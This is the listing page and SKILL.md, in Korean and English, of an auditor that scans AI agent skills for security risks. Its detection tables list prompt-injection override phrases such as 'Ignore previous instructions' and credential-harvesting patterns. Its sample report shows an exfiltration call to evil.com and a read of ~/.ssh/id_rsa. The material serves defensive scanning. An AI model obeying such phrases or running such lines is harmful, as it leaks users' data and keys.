skill-security-auditor
alirezarezvani/claude-skills
설치 전에 AI 에이전트의 기능을 스캔하고 보안 위험에 대해 감사하여, 조사 결과 및 수정 지침과 함께 ‘합격(PASS)’, ‘경고(WARN)’, ‘불합격(FAIL)’ 판정을 내립니다.
...모든 것을 확장하십시오스킬 보안 감사 도구
설치 전에 AI 에이전트 스킬을 스캔하고 보안 위험에 대해 감사합니다. 발견 사항과 시정 지침과 함께 명확한 ‘PASS(합격) / WARN(경고) / FAIL (불합격)’ 판정을 제공합니다.
빠른 시작
# 로컬 스킬 디렉터리 감사
python3 scripts/skill_security_auditor.py /path/to/skill-name/
# Git 저장소의 스킬 감사
python3 scripts/skill_security_auditor.py https://github.com/user/repo --skill skill-name
# 엄격한 모드로 감사 (모든 WARN이 FAIL로 처리됨)
python3 scripts/skill_security_auditor.py /path/to/skill-name/ --strict
# JSON 보고서 출력
python3 scripts/skill_security_auditor.py /path/to/skill-name/ --json
스캔 대상
1. 코드 실행 위험 (Python/Bash 스크립트)
모든 .py, .sh, .bash, .js, .ts 파일을 스캔하여 다음을 확인합니다:
| 범주 | 탐지된 패턴 | 중요도 |
|---|---|---|
| 명령어 주입 | os.system(), os.popen(), subprocess.call(shell=True), 백틱(backtick) 실행 |
🔴 치명적 |
| 코드 실행 | eval(), exec(), compile(), __import__() |
🔴 치명적 |
| 난독화 | base64로 인코딩된 페이로드, codecs.decode, 16진수 인코딩된 문자열, chr() 체인 |
🔴 심각 |
| 네트워크 정보 유출 | requests.post(), urllib.request, socket.connect(), httpx, aiohttp |
🔴 심각 |
| 인증 정보 수집 | ~/.ssh, ~/.aws, ~/.config 파일 읽기, 환경 변수 추출 패턴 |
🔴 심각 |
| 파일 시스템 악용 | 스킬 디렉터리 외부, /etc/, ~/.bashrc, ~/.profile에 쓰기, 심볼릭 링크 생성 |
🟡 높음 |
| 권한 상승 | sudo, chmod 777, setuid, cron 조작 |
🔴 치명적 |
| 안전하지 않은 역직렬화 | pickle.loads(), yaml.load() (SafeLoader 미사용 시), marshal.loads() |
🟡 높음 |
| Subprocess (안전) | subprocess.run() (인수 목록 사용, 셸 없음) |
⚪ 정보 |
2. SKILL.md 내 프롬프트 주입
SKILL.md 및 모든 .md 참조 파일을 스캔하여 다음을 확인합니다:
| 패턴 | 예시 | 중요도 |
|---|---|---|
| 시스템 프롬프트 재정의 | "이전 지침을 무시하십시오", "현재 귀하는..." | 🔴 치명적 |
| 권한 도용 | "루트 권한으로 실행", "제한 사항이 없는 것처럼 행동" | 🔴 중대 |
| 안전성 우회 | "안전성 검사 건너뛰기", "콘텐츠 필터링 비활성화" | 🔴 심각 |
| 숨겨진 지시문 | 폭이 0인 문자, 지시문이 포함된 HTML 주석 | 🟡 높음 |
| 과도한 권한 | "임의의 명령 실행", "전체 파일 시스템 접근" | 🟡 높음 |
| 데이터 추출 | "내용 전송", "파일 업로드", "POST 전송" | 🔴 치명적 |
3. 종속성 공급망
requirements.txt, package.json 또는 인라인 pip install이 포함된 스킬의 경우:
| 확인 | 기능 설명 | 중요도 |
|---|---|---|
| 알려진 취약점 | PyPI/npm 권고 사항 데이터베이스와의 상호 참조 | 🔴 매우 심각 |
| 타이포스쿼팅 | 인기 있는 패키지(예: reqeusts)와 유사한 패키지 표시 |
🟡 높음 |
| 고정되지 않은 버전 | requests>=2.0 대 requests==2.31.0 |
⚪ 정보 |
| 코드 내 설치 명령어 | 스크립트 내의pip install 또는 npm install |
🟡 높음 |
| 의심스러운 패키지 | 다운로드 횟수가 적거나, 최근에 생성되었거나, 유지보수자가 한 명인 패키지 | ⚪ 정보 |
4. 파일 시스템 및 구조
| 확인 | 기능 | 중요도 |
|---|---|---|
| 경계 위반 | 스킬 디렉터리 외부의 경로를 참조하는 스크립트 | 🟡 높음 |
| 숨겨진 파일 | .env, 스킬 내에 존재해서는 안 되는 도트 파일 |
🟡 높음 |
| 바이너리 파일 | 예상치 못한 실행 파일, .so, .dll, .exe |
🔴 매우 위험 |
| 대용량 파일 | 페이로드를 숨길 수 있는 1MB 초과 파일 | ⚪ 정보 |
| 심볼릭 링크 | 스킬 디렉터리 외부를 가리키는 심볼릭 링크 | 🔴 중요 |
감사 워크플로
- 스킬 디렉터리 또는 리포지토리 URL에서스캐너 실행
- 보고서 검토 — 심각도별로 분류된 결과
- 판정 해석:
- ✅ 통과 — 중대 또는 고위험 발견 사항이 없습니다. 안전하게 설치할 수 있습니다.
- ⚠️ 경고 — 중요/중간 수준의 문제가 감지되었습니다. 설치 전에 수동으로 검토하십시오.
- ❌ 실패 — 치명적인 문제가 발견되었습니다. 문제를 해결하지 않고는 설치하지 마십시오.
- 조치 — 각 문제점마다 구체적인 수정 지침이 포함되어 있습니다
보고서 읽기
╔══════════════════════════════════════════════╗
║ SKILL 보안 감사 보고서 ║
║ 스킬: example-skill ║
║ 판정: ❌ 불합격 ║
╠══════════════════════════════════════════════╣
║ 🔴 중요: 2 🟡 높음: 1 ⚪ 정보: 3 ║
╚══════════════════════════════════════════════╝
🔴 치명적 [CODE-EXEC] scripts/helper.py:42
패턴: eval(user_input)
위험: 신뢰할 수 없는 입력으로 인한 임의 코드 실행
수정: eval()을 ast.literal_eval()로 대체하거나 명시적으로 파싱
🔴 중요 [NET-EXFIL] scripts/analyzer.py:88
패턴: requests.post("https://evil.com/collect", data=results)
위험: 외부 서버로의 데이터 유출
수정 방법: 외부 네트워크 호출을 제거하거나 대상이 신뢰할 수 있는 곳인지 확인
🟡 높음 [FS-BOUNDARY] scripts/scanner.py:15
패턴: open(os.path.expanduser("~/.ssh/id_rsa"))
위험: 스킬 범위 외부의 SSH 개인 키 읽기
수정: 스킬 디렉터리 외부의 파일 시스템 액세스 제거
⚪ 정보 [DEPS-UNPIN] requirements.txt:3
패턴: requests>=2.0
위험: 고정되지 않은 종속성으로 인해 취약점이 발생할 수 있음
해결 방법: 특정 버전으로 고정: requests==2.31.0
고급 사용법
클론하기 전에 Git에서 스킬 감사하기
# 임시 디렉터리에 클론한 후, 감사 수행, 정리
python3 scripts/skill_security_auditor.py https://github.com/user/skill-repo --skill my-skill --cleanup
CI/CD 통합
# GitHub Actions 단계
- name: "audit-skill-security"
run: |
python3 scripts/skill_security_auditor.py ./skills/new-skill/ --strict --json > audit.json
if [ $? -ne 0 ]; then echo "보안 감사 실패"; exit 1; fi
일괄 감사
# 디렉터리에 있는 모든 스킬 감사
for skill in skills/*/; do
python3 scripts/skill_security_auditor.py "$skill" --json >> audit-results.jsonl
done
위협 모델 참조
AI 에이전트 스킬에 대한 전체 위협 모델, 탐지 패턴 및 알려진 공격 벡터에 대해서는 references/threat-model.md를 참조하십시오.
제한 사항
- 로직 폭탄이나 시간 지연형 페이로드는 확실하게 탐지할 수 없음
- 난독화 탐지는 패턴 기반이므로, 충분히 창의적인 공격자는 이를 우회할 수 있습니다
- 네트워크 목적지 평판 확인을 위해서는 인터넷 접속이 필요합니다
- 코드를 실행하지 않으며, 정적 분석만 수행합니다(안전하지만 동적 분석보다 완전성이 떨어짐).
- 의존성 취약점 검사는 실시간 CVE 데이터베이스가 아닌 로컬 패턴 매칭을 사용함
감사 후 의문이 생기면 설치하지 마십시오. 스킬 작성자에게 확인을 요청하십시오.
---
name: skill-security-auditor
description: Scan and audit AI agent skills for security risks before installation, producing a PASS/WARN/FAIL verdict with findings and remediation guidance.
---
# Skill Security Auditor
Scan and audit AI agent skills for security risks before installation. Produces a
clear **PASS / WARN / FAIL** verdict with findings and remediation guidance.
## Quick Start
```bash
# Audit a local skill directory
python3 scripts/skill_security_auditor.py /path/to/skill-name/
# Audit a skill from a git repo
python3 scripts/skill_security_auditor.py https://github.com/user/repo --skill skill-name
# Audit with strict mode (any WARN becomes FAIL)
python3 scripts/skill_security_auditor.py /path/to/skill-name/ --strict
# Output JSON report
python3 scripts/skill_security_auditor.py /path/to/skill-name/ --json
```
## What Gets Scanned
### 1. Code Execution Risks (Python/Bash Scripts)
Scans all `.py`, `.sh`, `.bash`, `.js`, `.ts` files for:
| Category | Patterns Detected | Severity |
|----------|-------------------|----------|
| **Command injection** | `os.system()`, `os.popen()`, `subprocess.call(shell=True)`, backtick execution | 🔴 CRITICAL |
| **Code execution** | `eval()`, `exec()`, `compile()`, `__import__()` | 🔴 CRITICAL |
| **Obfuscation** | base64-encoded payloads, `codecs.decode`, hex-encoded strings, `chr()` chains | 🔴 CRITICAL |
| **Network exfiltration** | `requests.post()`, `urllib.request`, `socket.connect()`, `httpx`, `aiohttp` | 🔴 CRITICAL |
| **Credential harvesting** | reads from `~/.ssh`, `~/.aws`, `~/.config`, env var extraction patterns | 🔴 CRITICAL |
| **File system abuse** | writes outside skill dir, `/etc/`, `~/.bashrc`, `~/.profile`, symlink creation | 🟡 HIGH |
| **Privilege escalation** | `sudo`, `chmod 777`, `setuid`, cron manipulation | 🔴 CRITICAL |
| **Unsafe deserialization** | `pickle.loads()`, `yaml.load()` (without SafeLoader), `marshal.loads()` | 🟡 HIGH |
| **Subprocess (safe)** | `subprocess.run()` with list args, no shell | ⚪ INFO |
### 2. Prompt Injection in SKILL.md
Scans SKILL.md and all `.md` reference files for:
| Pattern | Example | Severity |
|---------|---------|----------|
| **System prompt override** | "Ignore previous instructions", "You are now..." | 🔴 CRITICAL | <!-- noqa: SEC-AUDITOR -->
| **Role hijacking** | "Act as root", "Pretend you have no restrictions" | 🔴 CRITICAL | <!-- noqa: SEC-AUDITOR -->
| **Safety bypass** | "Skip safety checks", "Disable content filtering" | 🔴 CRITICAL | <!-- noqa: SEC-AUDITOR -->
| **Hidden instructions** | Zero-width characters, HTML comments with directives | 🟡 HIGH |
| **Excessive permissions** | "Run any command", "Full filesystem access" | 🟡 HIGH |
| **Data extraction** | "Send contents of", "Upload file to", "POST to" | 🔴 CRITICAL | <!-- noqa: SEC-AUDITOR -->
### 3. Dependency Supply Chain
For skills with `requirements.txt`, `package.json`, or inline `pip install`:
| Check | What It Does | Severity |
|-------|-------------|----------|
| **Known vulnerabilities** | Cross-reference with PyPI/npm advisory databases | 🔴 CRITICAL |
| **Typosquatting** | Flag packages similar to popular ones (e.g., `reqeusts`) | 🟡 HIGH |
| **Unpinned versions** | Flag `requests>=2.0` vs `requests==2.31.0` | ⚪ INFO |
| **Install commands in code** | `pip install` or `npm install` inside scripts | 🟡 HIGH |
| **Suspicious packages** | Low download count, recent creation, single maintainer | ⚪ INFO |
### 4. File System & Structure
| Check | What It Does | Severity |
|-------|-------------|----------|
| **Boundary violation** | Scripts referencing paths outside skill directory | 🟡 HIGH |
| **Hidden files** | `.env`, dotfiles that shouldn't be in a skill | 🟡 HIGH |
| **Binary files** | Unexpected executables, `.so`, `.dll`, `.exe` | 🔴 CRITICAL |
| **Large files** | Files >1MB that could hide payloads | ⚪ INFO |
| **Symlinks** | Symbolic links pointing outside skill directory | 🔴 CRITICAL |
## Audit Workflow
1. **Run the scanner** on the skill directory or repo URL
2. **Review the report** — findings grouped by severity
3. **Verdict interpretation:**
- **✅ PASS** — No critical or high findings. Safe to install.
- **⚠️ WARN** — High/medium findings detected. Review manually before installing.
- **❌ FAIL** — Critical findings. Do NOT install without remediation.
4. **Remediation** — each finding includes specific fix guidance
## Reading the Report
```
╔══════════════════════════════════════════════╗
║ SKILL SECURITY AUDIT REPORT ║
║ Skill: example-skill ║
║ Verdict: ❌ FAIL ║
╠══════════════════════════════════════════════╣
║ 🔴 CRITICAL: 2 🟡 HIGH: 1 ⚪ INFO: 3 ║
╚══════════════════════════════════════════════╝
🔴 CRITICAL [CODE-EXEC] scripts/helper.py:42
Pattern: eval(user_input)
Risk: Arbitrary code execution from untrusted input
Fix: Replace eval() with ast.literal_eval() or explicit parsing
🔴 CRITICAL [NET-EXFIL] scripts/analyzer.py:88
Pattern: requests.post("https://evil.com/collect", data=results)
Risk: Data exfiltration to external server
Fix: Remove outbound network calls or verify destination is trusted
🟡 HIGH [FS-BOUNDARY] scripts/scanner.py:15
Pattern: open(os.path.expanduser("~/.ssh/id_rsa")) <!-- noqa: SEC-AUDITOR -->
Risk: Reads SSH private key outside skill scope
Fix: Remove filesystem access outside skill directory
⚪ INFO [DEPS-UNPIN] requirements.txt:3
Pattern: requests>=2.0
Risk: Unpinned dependency may introduce vulnerabilities
Fix: Pin to specific version: requests==2.31.0
```
## Advanced Usage
### Audit a Skill from Git Before Cloning
```bash
# Clone to temp dir, audit, then clean up
python3 scripts/skill_security_auditor.py https://github.com/user/skill-repo --skill my-skill --cleanup
```
### CI/CD Integration
```yaml
# GitHub Actions step
- name: "audit-skill-security"
run: |
python3 scripts/skill_security_auditor.py ./skills/new-skill/ --strict --json > audit.json
if [ $? -ne 0 ]; then echo "Security audit failed"; exit 1; fi
```
### Batch Audit
```bash
# Audit all skills in a directory
for skill in skills/*/; do
python3 scripts/skill_security_auditor.py "$skill" --json >> audit-results.jsonl
done
```
## Threat Model Reference
For the complete threat model, detection patterns, and known attack vectors against AI agent skills, see [references/threat-model.md](references/threat-model.md).
## Limitations
- Cannot detect logic bombs or time-delayed payloads with certainty
- Obfuscation detection is pattern-based — a sufficiently creative attacker may bypass it
- Network destination reputation checks require internet access
- Does not execute code — static analysis only (safe but less complete than dynamic analysis)
- Dependency vulnerability checks use local pattern matching, not live CVE databases
When in doubt after an audit, **don't install**. Ask the skill author for clarification.
모든 파일
0개 파일skill-security-auditor 설치
스킬 파일을 다운로드하여 .claude/skills/ 디렉터리에 압축을 풀어주세요.
ZIP 다운로드저장소를 클론하고 스킬 파일을 프로젝트에 복사하세요.
git clone https://github.com/alirezarezvani/claude-skills/tree/main/engineering/skills/skill-security-auditor # Copy SKILL.md to your .claude/skills/ directory
복사





집
